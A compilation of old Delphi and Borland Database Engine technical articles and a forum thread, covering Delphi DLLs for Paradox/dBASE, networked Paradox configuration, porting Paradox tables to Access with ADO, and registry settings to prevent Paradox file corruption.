Library Tblview; uses Tblvunit in 'TBLVUNIT.PAS' {tvform1}; exports UseDll, ExitDll, ViewTable; {$R *.RES} begin { Remember to remove the generated application control invocations Application.CreateForm(TDllForm1, DllForm1); Application.Run; 595
} end. Follow the same steps as before to create the TBLVIEW.DPR project file. Open the default forms unit created by Delphi - drop a TDataSource, TTable, TDBNavigator and TDBGrid components on the form; and save the unit as TBLVUNIT. Delphi's live display of data lets you check out your DLL even at design time. Connect the table named "Table1" to the example CUSTOMER.DB table (this table name will be dynamically assigned at run-time by the DLL function). Now hook up the datasource to the table by setting the DataSet property of the datasource to Table1. Hook the DBGrid to the datasource by setting its DataSource Property to DataSource1. Also, hook the DBNavigator to the datasource by setting its DataSource property to DataSource1. The DLL exports a single funtion ViewTable - It accepts a table name (PCHAR), converts it to string, assigns it to the TableName property of the TTable component and displays the contents of the table using the DBGrid. However, there are several aspects to consider when you use database components in a DLL. Here are the main points : ·
When a DLL uses database components (or any other BDE component), the DLL requires per-task initialization. In other words, the calling program should verify that no other users are using the DLL function. UseDLL procedure below illustrates this.
·
Any Exceptions should be trapped within the DLL - exceptions across DLL boundaries cause GPFs and abnormal terminations. Note that exceptions are handled by the ViewTable function in our example, and the error messages are displayed to the user by the DLL function.
·
When Paradox or other applications call DLL functions that use the BDE, they also need to de-initialize the DLL before exiting. Failure to do this can result in GPFs. The BDE service needs to be de-initialized before the DLL WEP is called during DLL unload. The ExitDLL routine must be called by the calling program to de-initialize this DLL and its services. Once the deinitialization occurs, the DLL cannot be used again until it is unloaded. The Close() method of the Paradox program calls the ExitDll procedure as below :
method close(var eventInfo Event) if not eventInfo.isPreFilter() then ExitDll() endif endmethod
596
Figure TBLVIEW (Delphi Database DLL example): Unlike C/C++, Delphi is rich in database capabilities. The figure shows one of it many unique features - live display of data even at design time. ViewTable function exported by TBLVIEW.DLL accepts a table name as a parameter and displays the contents of the table using a DBGrid as shown above. The Paradox form TBLVIEWR.FSL uses the common dialog file open function WWGetOpenFileName to select a Paradox or dBASE table. Then the ViewTable function is used to display the contents of the table. Listing of TBLVUNIT.PAS unit Tblvunit; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, Grids, DBGrids, DB, DBTables, ExtCtrls, DBCtrls; { Note that the TTVForm1 form is always used modally. Borland does not 597
recommend using a modeless form from a DLL because the OnActivate and OnDeactivate mechanisms do not work when control is transferred between a DLL owned form and another DLL or EXE owned form. } type TTvform1 = class(TForm) Table1: TTable; DataSource1: TDataSource; DBGrid1: TDBGrid; OKBtn1: TBitBtn; DBNavigator1: TDBNavigator; procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } end; const DllErrorUnload = 'The DLL must first be unloaded before re-use'; DllErrorInUse = 'The DLL is already in use by another application'; DllErrorViewingTable = 'The table could not be viewed: %s'; var tvform1: Ttvform1; { UseDLL should be called to verify that the DLL may be used by the current application. ExitDLL should be called before the DLL client exits. It CANNOT be called from a DLL WEP. } function UseDLL: integer; export; procedure ExitDLL; export; function ViewTable (const TableName: PChar): Integer; export; implementation var Task: THandle; Unloaded: Boolean; {$R *.DFM} { Exceptions that are raised across a DLL call boundary cause an application termination. Therefore they are caught here and converted to an error return. The caller may convert back to an exception (if written in Delphi or C++) or pass the result back through some other error handling mechanism. } 598
function ViewTable (const TableName: PChar): Integer; begin try if not Assigned (tvform1) then TvForm1 := TTVForm1.Create (nil); with TvForm1 do begin Table1.TableName := StrPas(TableName); Table1.Active := True; ShowModal; Result := 1; end except on EResult: Exception do begin ShowMessage(Format (DllErrorViewingTable, [EResult.Message])); Result := 0; end else begin ShowMessage(Format (DllErrorViewingTable, ['Unknown error'])); Result := 0; end; end end; { Deactivate the table before the form is closed } procedure TTvform1.FormClose(Sender: TObject; var Action: TCloseAction); begin Table1.Active := False; end; { Some services need to be de-initialized before the DLL WEP is called during DLL unload. BDE is an example of a service that cannot be de-initialized from within the WEP. The following routine must be called by the user of this DLL to de-initialize this DLL and its services. Once the deinitialization occurs, the DLL cannot be used again until it is unloaded. } procedure ExitDLL; begin CallExitProcs; Unloaded := True; end; { Many services require per-task initialization. BDE is an example of such a service. If a service DLL uses other such services, it too may require per-task initialization. Since the VCL BDE Session variable is allocated and initialized per-module rather than per-task, multiple applications 599
cannot simultaneously use a DLL that itself uses BDE. In this demo service, multiple access is protected against via initialization and use validation routines. Another application (.EXE or .DLL in another task) cannot use this DLL until the first application unloads the DLL. For statically linked DLLs, the unload occurs automatically during application termination. } function UseDLL: integer; begin Result := 0; if Task <> GetCurrentTask then begin ShowMessage(DLLErrorInUse); end else if Unloaded then begin ShowMessage(DLLErrorUnload); end else Result := 1 end; { Initialize the task as soon as this service is loaded } begin Task := GetCurrentTask end. Listing Aliases - Deriving new components for the BDE Although dBASE and Paradox are built on the same database engine, they do not surface the same BDE functions. dBASE, for example, does not have the equivalent of ObjectPAL's Session methods such as enumAliasNames, enumDriverInfo and others that provide access to BDE system tables.
600
When functionality is not available in your development tool, turn to Delphi. With complete access to BDE, Delphi provides two options to access BDE functions. ·
Write directly to the BDE, access the BDE system tables and populate a grid with a list of aliases; or
·
Derive new database components for the BDE system tables.
Delphi components can be enhanced, sub-classed and modified easily and we will adopt the second approach. An example of deriving new database components for the BDE system tables is in Delphi's db\tools directory. Follow the README.TXT file to install the sample components. The wwPickAlias function listed below uses the DatabaseList (installed in the Sample page) component to construct a 'pick list' of aliases. To set up the form for the Pick Alias example, drop a DatabaseList, a DataSource and a DBGrid component. Hook them together by setting the DataSet property of the Datasource to AliasList and set the DBGrid's datasource to DataSource1. When invoked from a dBASE or Paradox program, the wwPickAlias function allows the user to pick from a list of current alias details displayed in a DBGrid. function wwPickAlias( SelectedAlias : PChar) : Integer; begin try Result := 0; if not Assigned (Form1) then Form1 := TForm1.Create (nil); With Form1 do begin Try form1.ShowModal; Except on EDatabaseerror do Begin MessageDlg('Error in Alias List ' , mtWarning, [mbOk], 0); 601
end; end; StrPCopy(SelectedAlias,AliasListName.Value); Result := 1; end; except on EResult: Exception do ShowMessage(Format (DllErrorViewingTable, [EResult.Message])); else ShowMessage(Format (DllErrorViewingTable, ['Unknown error'])); end; end; A Popup Calendar for Paradox/dBASE users using the Calendar component Another nifty Delphi component found on the sample's page is the Calendar component. This can be used for displaying a calendar or let the user choose a date. As in examples before, the DLL function wwPickdate exported by the PICKDATE.DLL is a wrapper for the Delphi Calendar component. By exporting this function, Paradox/dBASE users get a nifty popup calendar.
Can this not be done in Paradox or dBASE ? Yes, but the resultant dialog box won't be as fast or as easy to share with other systems. The source code for PICKDATE.DLL and the Paradox form for this example and all others discussed in this paper are included in the code samples ( Code samples also include additional examples : Creating custom cursor DLLs and using them with Paradox; Invoking Delphi DLLs from Visual Basic.) Tips 602
·
Since they include the VCL run-time, Delphi DLLs tend to be fairly large (>180K). This overhead can be minimized by putting several functions, dialog boxes and forms into a single DLL.
·
Test Delphi DLLs first from within the Delphi environment by creating simple calling programs in Delphi. There are two reasons for doing this -1. It is more difficult to debug Delphi DLLs from Paradox/dBASE, 2. Delphi's IDE handles exceptions and errors better than Paradox/dBASE and prevents system crashes.
Summary Delphi's architecture promotes rapid development of re-usable components. Wrapping Delphi components in DLL functions enables other development environments to make use of these powerful components. The examples presented in the paper show how Paradox/dBASE developers can extend their development environment, solve complex problems and improve application performance by making use of Delphi DLLs. Interestingly enough, this model of splitting development tasks between "Solution Builders" (Business analysts with an understanding of end-user needs) and "Component Builders" (Software Engineers specializing in building re-usable components) was also proposed by Microsoft's researchers in their 'Solutions Framework' as a methodology for Rapid Application Development. Delphi Technical Library Borland's Technical Library Copyright © 1996 Borland International, Inc. Last Modified: March 10, 1996
603
Title: Paradox and Network From: VSF Date: 07/18/2000 07:04AM PST Answer Grade: A Points: 15 How can I work with Paradox Databases on a Windows Network (not NT)?! I installed my program and the Database files on the server and it worked. I can run then program from a station and it works, but when I try to run both (station + server) simultaneous the problem shows up! They (server and station)can't add records at the same time on the same database file! Can't I use Paradox with networks!?!? Please help me experts!! View Accepted Answer If this EE solution does not provide the information you are looking for, you can signup as a member and ask your specific question of our 125,000 experts for free. Question History Comment from kretzschmar
07/18/2000 07:30AM PST
hi vsf, point the .net file into a shared network-directory. use the exact the same name for all clients. if one a dedicated server then use a unc path for this. all clients must be point to this directory the entry is found at bde-admin|ConfigureationTab|Configuration|Drivers|Native|Paradox and is named NET DIR the same must be done at the alias with the path entry:eyact the same entry on all clients. let me know if you've further problems meikl Comment from VSF
07/18/2000 07:36AM PST
kretzschmar I will try this, but I'm not quite sure I understood it all. Can you be more specific ?! Thanks !!! Comment from kretzschmar
07/18/2000 08:16AM PST 604
hi vsf, first >Can't I use Paradox with networks!?!? sure, you can use paradox on a network, i do this since over 10 years, but there are some rules by the configuration, which must be done, because you can then have mysterious sideeffects, like your problem, or corrupted indexes and lost records. well, a bit explaination: the .net file is used by the paradox-engine to control the accesses to the databases and if wanted that more than one client will work with the same table, then all clients must have access to the same .net-file. additional is the .net file stored the path to the table, so that the engine means, if two user use two different logical paths to the table, that the tables are on a different location, also if physically the same directory meant. be free to ask further if something unclear meikl Comment from isstorr
07/18/2000 08:29AM PST
hi VSF, what kretzschmar is saying is that you need to set the BDE's NETDIR (the directory which stores the BDE's file locking information) to be the same for all machines on your network. This is essential for locking to work correctly. You need to do this using the BDE Administrator (BDEAdmin.exe) which is found inside the BDE directory (usually C:\Program Files\Borland\Common Files\BDE) Once you have started BDEAdmin Click Configuration tab Click +Drivers Click +Native Click +Paradox In Definition under NET DIR type in a unc path to a shared directory on the server (eg //SERVER1/C/NetDir) Click the blue arrow in the toolbar to save changes Next click +System (under Configuration again) click INIT set LOCAL SHARE to TRUE Click the blue arrow in the toolbar to save changes Close BDEAdmin Its also a good idea to configure the BDE on each machine to use a common configuration file (IDAPI32.CFG). This is also found in the BDE directory. If you do this, you will only need to set up the BDE once and it will eliminate any inconsistencies in the BDE setup on each machine in the network.
605
The location of the configuration file can be set using the registry key HKEY_LOCAL_MACHINE\Software\Borland\Database Engine\CONFIGFILE01 change this key on each machine to a unc path to the IDAPI32.CFG on the server - e.g. \\SERVER1\C\Program Files\Borland\Common Files\BDE\IDAPI32.CFG However for speed, I've found its best to have an installation of the BDE local to each machine, but the configuration file on the server only. let us know if you need further explanation Si Comment from isstorr
07/18/2000 08:31AM PST
sorry In Definition under NET DIR type in a unc path to a shared directory on the server (eg //SERVER1/C/NetDir) Click the blue arrow in the toolbar to save changes should read In Definition under NET DIR type in a unc path to a shared directory on the server (eg \\SERVER1\C\NetDir) Click the blue arrow in the toolbar to save changes :o) Si Comment from kretzschmar
07/18/2000 10:17AM PST
thanks, isstorr, for the verification, and the detailed explaination (i couldn't do it better) ;-)) Accepted Answer from bozo7
07/18/2000 01:41PM PST
I have also done this many times and I just use the folowing code in the on create event of my datamodule: session.netfiledir := '//server1/c/netdir'; It is easier than trying go into everyones bde admin change the Netfile setting there. Ross Comment from isstorr
07/19/2000 01:58AM PST
And also Session.PrivateDir is the location of any .lck files and the workspace for large queries (_Q files) such as generated by Quick Reports. This has to be unique and local to each machine, unlike netdir. If you don't set this then it will default to your alias path, and will mess up on a network (believe me!)
606
Say I want my PrivateDir to be C:\BDETEMP, then on starting the app I clear the contents of this directory before setting Session.PrivateDir to it. This clears out any _Qxxx files which may have been left there if QuickReports crashes (and these can be upwards of 100MB in size!)
607
From Paradox to Access with ADO Page 1: Focusing on the TADOCommand components and using the SQL DDL language.
Chapter 5 of this course (Free Delphi Database Course for Beginners - focus on ADO techniques) featured the ADOQuery component designed to enable Delphi developers to use the SQL language with ADO. The SQL statements can either be DDL (Data Definition Language) statements such as CREATE TABLE, ALTER INDEX, and so forth, or they can be DML (Data Manipulation Language) statements, such as SELECT, UPDATE, and DELETE. In this chapter, I'll focus on the TADOCommand components and using the SQL DDL language to help port your BDE/Paradox data to ADO/Access. Data definition language Creating a database programmatically isn't something most developers do every day - we all use some kind of visual tool, like MS Access for maintaining a MDB file. Unfortunately, sometimes you'll need to create and destroy databases and database objects from code. The most basic technique in use today is the Structured Query Language Data Definition Language (SQL DDL). Data definition language (DDL) statements are SQL statements that support the definition or declaration of database objects (for example, CREATE TABLE, DROP TABLE, CREATE INDEX and similar statements). My intention here is not to teach you the DDL language, if you are familiar with the SQL DML then DDL should be no barrier for you. Note that working with DDL can be quite tricky, every database vendor generally provides its own extensions to SQL. Let's quickly take a look at a simple CREATE TABLE statement: CREATE TABLE PhoneBook( Name TEXT(50) Tel TEXT(50) ); This DDL statemnt (for MS Access), when executed, will create a new table named PhoneBook. The PhoneBook table will have two fields, Name and Tel. Both fields are of the string (TEXT) type and the size of the fields is 50 characters. TFieldDef.DataType Obviously, the data type that represents a string in Access is TEXT. In Paradox it's STRING. In order to port Paradox tables to Access we'll have to know what data types are available and what are their names. When working with the BDE and Paradox tables, the TFieldDef.DataType determines the type of a physical field in a (dataset) table. To successfully migrate Paradox tables to Access you need to have a function that "transforms" a Paradox field type to an Access type. The next function checks the type of the field (fd) and returns the corresponding Access type along with a field size when needed for a CREATE TABLE DDL 608
statement. function AccessType(fd:TFieldDef):string; begin case fd.DataType of ftString: Result:='TEXT('+IntToStr(fd.Size)+')'; ftSmallint: Result:='SMALLINT'; ftInteger: Result:='INTEGER'; ftWord: Result:='WORD'; ftBoolean: Result:='YESNO'; ftFloat : Result:='FLOAT'; ftCurrency: Result := 'CURRENCY'; ftDate, ftTime, ftDateTime: Result := 'DATETIME'; ftAutoInc: Result := 'COUNTER'; ftBlob, ftGraphic: Result := 'LONGBINARY'; ftMemo, ftFmtMemo: Result := 'MEMO'; else Result:='MEMO'; end; end; ADOX ADO Extensions for Data Definition Language and Security (ADOX) is an extension to the ADO objects and programming model. ADOX gives developers a rich set of tools for gaining access to the structure, security model, and procedures stored in a database. To use ADOX in Delphi, you should establish a reference to the ADOX type library. 1. Select Project | Import Type Library 3. Choose "Microsoft ADO Ext 2.x for DDL and Security (Version 2.x)" 4. Change "TTable" to "TADOXTable" 5. Change "TColumn" to "TADOXColumn" 6 .Change "TIndex" to "TADOXIndex" 7. Press Install button (rebuilding packages) 8. Press OK once and Yes twice 9. File | Close All | Yes The top-level object in the ADOX object model is the Catalog object. It provides access to the Tables, Views, and Procedures collections, which are used to work with the structure of the database, and also provides the Users and Groups collections, which are used to work with security. Each Catalog object is associated with only one Connection to an underlying data source. We'll leave ADOX (at least for now) and stick to ADOExpress. TADOCommand In ADOExpress, the TADOCommand component is the VCL representation of the ADO Command object. The Command object represents a command (a query or statement) that can be processed by the data source. Commands can then be executed using the ADOCommand's Execute method. TADOCommand is most often used for executing data definition language (DDL) SQL commands. The CommandText property specifies the command to execute. The CommandType property determines how the CommandText property is interpreted. The cmdText type is used to specify the DDL statement. Although it makes no sense to use the 609
ADOCommand component to retrieve a dataset from a table, query, or stored procedure, you can do so. It's time for some real code...
From Paradox to Access with ADO Page 2: Project to port your BDE/Paradox data to ADO/Access.
The following project will demonstrate how to: • get the list of all tables in a BDE alias • use TFieldDefs in order to retrieve the definition (name, data type, size, etc.) of fields in a table. • create a CREATE TABLE statement • copy data from BDE/Paradox table to ADO/Access table. Basically what we want to do is to copy several tables from DBDemos to our aboutdelphi.mdb Access database. The structure of the aboutdelphi.mdb is discussed in the first chapter. Let's do it step by step: GUI Start Delphi - this creates a new project with one blank form. Add two Buttons, one ComboBox and one Memo component. Next, add a TTable, TADOTable, TADOConnection and a TADOCommand component. Use the Object Inspector to set the following properties (leave all the other properties as they are - for example the Memo should have the default name: Memo1): Button1.Caption = 'Construct Create command' Button2.Caption = 'Create Table and copy data' ComboBox.Name = cboBDETblNames; //as described in the second chapter ADOConnection1.ConnectionString = ... TADOTable.Name = ADOTable ADOTable.Connection = ADOConnection1 TADOCommand.Name = ADOCommand ADOCommand.Connection = ADOConnection1 TTable.Name = BDETable BDETable.DatabaseName = 'DBDEMOS' Code To retrieve a list of the tables associated with a given database (DBDEMOS) we use the next code (OnCreate for the form): procedure TForm1.FormCreate(Sender: TObject); begin Session.GetTableNames('DBDEMOS', '*.db',False, False, cboBDETblNames.Items); end; 610
When you start the project the ComboBox has all the (Paradox) table names in the DBDEMOS alias directory. In the code that follows, we'll pick the Country table. The next task is to create a CREATE TABLE DDL statement. This gets done in the 'Construct Create command' button's OnClick procedure: procedure TForm1.Button1Click(Sender: TObject); //'Construct Create command' button var i:integer; s:string; begin BDETable.TableName:=cboBDETblNames.Text; BDETable.FieldDefs.Update; s:='CREATE TABLE ' + BDETable.TableName + ' ('; with BDETable.FieldDefs do begin for i:=0 to Count-1 do begin s:=s + ' ' + Items[i].Name; s:=s + ' ' + AccessType(Items[i]); s:=s + ','; end; //for s[Length(s)]:=')'; end;//with Memo1.Clear; Memo1.lines.Add (s); end;
The above code simply parses the field definitions for the selected table (cboBDETblNames) and generates a string that will be used by the CommandText property of the TADOCommand component. For example, when you select the Country table the Memo gets filled with the next string: CREATE TABLE country ( Name TEXT(24), Capital TEXT(24), Continent TEXT(24), Area FLOAT, Population FLOAT ) And finally, the code for the 'Create Table and copy data' button drops a table
611
begin tblName:=cboBDETblNames.Text; //refresh Button1Click(Sender); //drop & create table ADOCommand.CommandText:='DROP TABLE ' + tblName; ADOCommand.Execute; ADOCommand.CommandText:=Memo1.Text; ADOCommand.Execute; ADOTable.TableName:=tblName; //copy data BDETable.Open; ADOTable.Open; try while not BDETable.Eof do begin ADOTable.Insert; for i:=0 to BDETable.Fields.Count-1 do begin ADOTable.FieldByName (BDETable.FieldDefs[i].Name).Value := BDETable.Fields[i].Value; end;//for ADOTable.Post; BDETable.Next end;//while finally BDETable.Close; ADOTable.Close; end;//try end; That's it. Check out your Access database now...voila there is a Country table with all the data from DBDEMOS. Now you can port all your Paradox tables to Access (download code). Few questions, however, stay unanswered. The first one is: how to add index definitions (CREATE INDEX ON ...) to tables. The second one is: how to create an empty Access database. I'll leave those (and others you can think of) for the Forum or for some future article - Chapter 13 precisely. To the next chapter If you need any kind of help so far, please post to the Delphi Programming Forum where all the questions are answered and beginners are treated as experts. First page > Focusing on the TADOCommand components and using the SQL DDL language. > Page 1, 2
612
Click to return to The Delphi Magazine home page... Paradox File Corruption Based on an article in The Delphi Magazine, Issue 42, February 1999, and related extract from The Delphi Clinic, Issue 17, this article is Copyright © 1999 Brian Long. The article was written by Brian Long ([email protected]) with help from Will Watts, Nick Moon, David Rose, Nick Spurrier, Andy Race and Jack Birrell. Download The Source Code Full updated source code ready to plug into your projects: Paradox.zip 5184 bytes Contents: • Paradox File Corruption, Issue 42 • The Delphi Clinic, Issue 17: Paradox Table Corruption A reader of The Delphi Magazine wrote to me with the following query: I read your summary of precautions regarding Paradox table and index corruption in multi-user applications on page 52 of Issue 17, implemented all the measures, but I still get corrupted tables and index files every now and again. Are there any more things you can think of? Well, indeed there are. Since writing that entry I have been collecting other useful corruption avoiding tips and techniques that I will list here. First of all though, below is a summary of what was highlighted in Issue 17. If there is a possibility of a form being closed with a table still open, in the OnClose event handler, ensure either Post or Cancel is called. If you open your tables programmatically, then you could also close them in a form’s OnClose or OnCloseQuery event handler. In the BDE Administrator or BDE Configuration program, set Local Share to True in the System settings. Don’t store tables on drive letters manufactured with the DOS SUBST command. Don’t store NET files in a root directory, some BDE revisions apparently did not handle this too well. Call dbiSaveChanges in the TTable’s AfterPost event handler. If your version of the BDE supports it, call dbiUseIdleTime in your Application’s OnIdle event handler. This is easier than the above point, and apparently provides the automated equivalent of it. The API was removed in BDE 4, with the suggestion of using dbiSaveChanges instead. In Delphi 1, write a wm_EndSession message handler for your main form and call Halt in it. This ensures the BDE closes down and hopefully flushes all its buffers.
613
Another useful piece of advice is to ensure you set the Session object’s PrivateDir property to some suitable private directory. Perhaps a subdirectory of your application’s directory. You can get your application’s directory with ExtractFilePath(Application. ExeName). Avoid leaving PrivateDir blank as it will default to the current directory, which will more than likely be the application directory. Letting the BDE use your application directory as its temporary working directory can lead to Lock file has grown too big exceptions. Also, avoid pointing PrivateDir at a root directory, make sure it points at a subdirectory. One final point on the private directory subject is that the private directory should have access to a reasonable amount of disk space. A query linked across tables to extract data may take up at least three times the size of largest table for its temporary __*.* files. If your application is terminated unexpectedly, your BDE private directory might have its temporary files left in place, instead of being deleted as they would normally be by the BDE. If you think this might be a problem, you could write a section of code that executes at the beginning of your application, before any tables are opened, that deletes files from the private directory conforming to the specification __qb*.*. Since the Local Share setting is so crucial, one idea is to only let the program run if Local Share has a value of True. Your main form’s OnCreate handler could call a routine like this. procedure CheckLocalShare; var ASYSConfig: SYSConfig; begin {$ifdef Win32} { Ensure BDE is initialised } Session.Open; {$endif} if (DbiGetSysConfig(ASYSConfig) = DbiErr_None) and not ASYSConfig.bLocalShare then begin ShowMessage('BDE''s LOCAL SHARE flag must be TRUE for this ' + 'program to run. Ask your System Administrator to do this for ' + 'you.'#13#13'This program will not continue until this change ' + 'has been made and all BDE applications have been restarted'); {$ifdef Win32} Application.ShowMainForm := False; {$endif} Application.Terminate; end end; In Delphi 2 or later you can also read Local Share in a more VCL-esque fashion by making use of Session.GetConfigParams('\System\Init', SomeTStringsObject) and then checking SomeTStringsObject.Values['LOCAL SHARE'] Another piece of general advice for applications that may be editing, deleting and adding many records is to periodically pack the Paradox tables to save them spreading across your hard disk. Issue 9, p63 has code for doing this. 614
New information needs to be added to this list to ensure that networked machines do not cause problems by ‘clever’ buffering of any sort. One of the prime reasons for the problem is that two applications accessing the same table have conflicting views of what is really in the table because each machine is caching changes to a certain degree. Unfortunately there are many levels of this caching. Consequently there are many system settings that you need to give appropriate values to in order to avoid its potentially harmful impact to the application. This problem is more general than just Paradox applications: many vendors have the same issues and so these settings can help many applications to work in a more resilient manner. However, given the context of this article, I will only be referring to BDE-driven Paradox data applications. For all Windows 95 machines running BDE applications accessing Paradox or dBASE data or containing that data you should take the following steps. Firstly, make sure you have at least version 4.00.1116 of VREDIR.VXD (156,773 bytes, 11th Sep 97, 11:16) and version 4.00.1112 of VNETSUP.VXD (17,595 bytes, 30th May 97, 11:12). These can be installed with the patch program vrdrupd.exe located at http://support.microsoft.com/Download/support/mslfiles/vrdrupd.exe and fix a problem in Windows 95 where an application shares data with a Windows NT server, as described in Microsoft’s Knowledge Base articles Q148367 and Q174371. Note that Microsoft’s articles get the date stamp of VREDIR.VXD wrong and suggest it is 2 Jun 97. Next, VREDIR must also be set up correctly: ensure that the binary registry value HKey_Local_Machine\System\CurrentControlSet\Services\VxD\VREDIR\Discar dCacheOnOpen is set to 01. The machine will need rebooting for this setting to take effect. Plus, Windows 95 caching should be disabled. To do this, launch the System Properties dialog by holding down the Alt key and double clicking on My Computer (or by holding down the Windows key and pressing Pause). Click the Performance tab, press the File System... button and click on the Troubleshooting tab. Check the options: Disable write-behind caching for all drives. This corresponds to setting this binary value to 0: HKey_Local_Machine\System\CurrentControlSet\Control\FileSystem\DriveWrit eBehind In addition to the above setting there is some suggestion that the Disable synchronous buffer commits and Disable new file sharing and locking semantics options should also be checked, although the help for these options does not really uphold this. This equates to changing the binary settings AsyncFileCommit to 1 and SoftCompatMode to 0. Windows 95 machines running Novell networking software should set the registry entries as: Type
Key
Binary HKey_Local_Machine\System\CurrentControlSet\
Value 0
615
Services\VxD\NWREDIR\ReadCaching String
HKey_Local_Machine\Network\Novell\System Config\ Netware Dos Requester\Cache Writes
No
String
HKey_Local_Machine\Network\Novell\System Config\ Netware Dos Requester\Opportunistic Locking
No
(setting these when Novell is not installed does no harm). On Windows NT machines that run the BDE, or contain Paradox or dBASE files, these settings should be applied to disable opportunistic locking. Type
Key
Value
DWord HKey_Local_Machine\System\CurrentControlSet\Services\ LanmanServer\Parameters\EnableOpLocks
0
DWord HKey_Local_Machine\System\CurrentControlSet\Services\ LanmanServer\Parameters\EnableOpLockForceClose This is probably redundant because of the setting above, but you can set it to be on the safe side
1
DWord HKey_Local_Machine\System\CurrentControlSet\Services\ LanmanServer\Parameters\CachedOpenLimit
0
DWord HKey_Local_Machine\System\CurrentControlSet\Services\ LanmanWorkStation\Parameters\UseOpportunisticLocking
0
DWord HKey_Local_Machine\System\CurrentControlSet\Services\ LanmanWorkStation\Parameters\UtilizeNtCaching
0
For Windows NT Workstation’s running Novell NetWare: DWord HKey_Local_Machine\System\CurrentControlSet\Services\ NWCWorkstation\Parameters\DisablePopup
0
The machine will need rebooting for these settings to take effect. Opportunistic locking is explained in Microsoft’s Knowledge Base article Q129202, and this quote is taken from the Windows NT Resource Kit: ‘This setting specifies whether the server allows clients to use oplocks on files. Oplocks are a significant performance enhancement, but have the potential to cause lost cached data on some networks, particularly wide area networks.’ Some of the problems introduced by oplocks are described in articles Q134637, Q124916, and Q126026. If you are running Windows for Workgroups 3.1x, you should disable disk write caching. In SYSTEM.INI in the [386Enh] section and add an entry to disable 32bit write-caching on all drives that have shared data on them, 616
eg ForceLazyOff=CDE. Microsoft KnowledgeBase article Q107645 describes this option and article Q108109 emphasises that [386Enh] is the correct section, not [vcache] as mentioned in the Resource Kit documentation. If AUTOEXEC.BAT loads the SMARTDRV.EXE program, make sure the /X parameter is used to disable write-behind caching. The sample project DBStuff.Dpr (which can be found in the PARADOX.ZIP file) contains some code which will check all the appropriate entries depending on whether you are running your application on Windows 95, NT or 3.1. In fact, so potentially important are the registry settings that if they are not found to have the correct values, the program sets them and suggests that the user reboots. DBStuff.Dpr compiles in all versions of Delphi from 1 to 4. The reboot dialog comes from RestartDialog, an undocumented Shell32 API described in the Restarting Windows entry in Issue 40’s Delphi Clinic. Since I am not passing any text to the API I don’t need to worry about the Unicode issue highlighted in that write-up. The code below shows the form’s OnCreate handler, the main registry checking routine and the Windows 95 checking code. You can see that several helper routines are not listed, including the code that checks the version information of the network redirector files. Refer to the project on the disk for all the missing code. One helper routine listed in full is CheckRegistryEntry. This verifies both numeric and string registry values (passed as a Variant parameter), setting them if they are either wrong or missing. If a change was made, the Reboot Required flag is set to True. procedure TForm1.FormCreate(Sender: TObject); begin CheckOKForParadoxAppToRun end; ... procedure CheckRegistryIsAcceptable; begin {$ifdef Win32} case Win32Platform of VER_PLATFORM_WIN32_WINDOWS : CheckWin95Registry; VER_PLATFORM_WIN32_NT : CheckWinNTRegistry; end; if RebootRequired then //Use standard Win32 reboot dialog RestartDialog(0, nil, ew_RestartWindows) {$else} CheckWin31Registry; if RebootRequired then begin ShowMessage('Some system settings have been changed '+ '- Windows needs to restart'); ExitWindows(ew_RestartWindows, 0) end {$endif} end; ... procedure CheckRegistryEntry(Reg: TRegistry; const Path, Value: String; 617
const Default, Desired: Variant; Size: Byte); var TmpInt: Cardinal; TmpStr: String; begin with Reg do if OpenKey(Path, True) then try case VarType(Desired) of varInteger: { Some numbers need to be stored as DWORD values, } { while some need to be stored as binary values } if Size = 0 then begin if not ValueExists(Value) or (ReadInteger(Value) = Default) then begin WriteInteger(Value, Desired); RebootRequired := True end end else begin TmpInt := Default; if ValueExists(Value) then ReadBinaryData(Value, TmpInt, Size); if TmpInt = Default then begin TmpInt := Desired; WriteBinaryData(Value, TmpInt, Size); RebootRequired := True end end; varString: begin if not ValueExists(Value) or (ReadString(Value) = Default) then begin WriteString(Value, Desired); RebootRequired := True end end end finally CloseKey end end; const Control = 'System\CurrentControlSet\Control\'; Services = 'System\CurrentControlSet\Services\'; procedure CheckWin95Registry; 618
var Reg: TRegistry; const DOSRequester = 'Network\Novell\System Config\Netware Dos Requester'; begin Reg := TRegistry.Create; try Reg.RootKey := HKey_Local_Machine; //Fix VREDIR.VxD settings CheckRegistryEntry(Reg, Services + 'VxD\VREDIR', 'DiscardCacheOnOpen', 0, 1, SizeOf(Byte)); //Fix NWREDIR.VxD settings CheckRegistryEntry(Reg, Services + 'VxD\NWREDIR', 'ReadCaching', 1, 0, SizeOf(Byte)); //Fix Novell settings CheckRegistryEntry(Reg, DOSRequester, 'Cache Writes', 'Yes', 'No', 0); CheckRegistryEntry(Reg, DOSRequester, 'Opportunistic Locking', 'Yes', 'No', 0); //Fix FileSystem troubleshooting settings CheckRegistryEntry(Reg, Control + 'FileSystem', 'DriveWriteBehind', $FFFFFFFF, 0, SizeOf(Longint)); {$define AllOptionsThatPeopleSuggest} {$ifdef AllOptionsThatPeopleSuggest} CheckRegistryEntry(Reg, Control + 'FileSystem', 'SoftCompatMode', 1, 0, SizeOf(Longint)); CheckRegistryEntry(Reg, Control + 'FileSystem', 'AsyncFileCommit', 0, 1, SizeOf(Byte)); {$endif} finally Reg.Free end end; ... procedure CheckOKForParadoxAppToRun; begin {$ifdef Win32} //Only Win95 redirector files need checking if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then CheckRedirector; {$endif} CheckRegistryIsAcceptable; CheckLocalShare; end; It is important to remember that these operating system settings must be set on all machines either running BDE applications or containing BDE data. Similarly the BDE must have Local Share set to True on all installations. If a machine gets upgraded, or has the operating system re-installed, or has a new version of the BDE set up, some of these settings may need to be fixed again. The same applies if a new machine is added to the network. 619
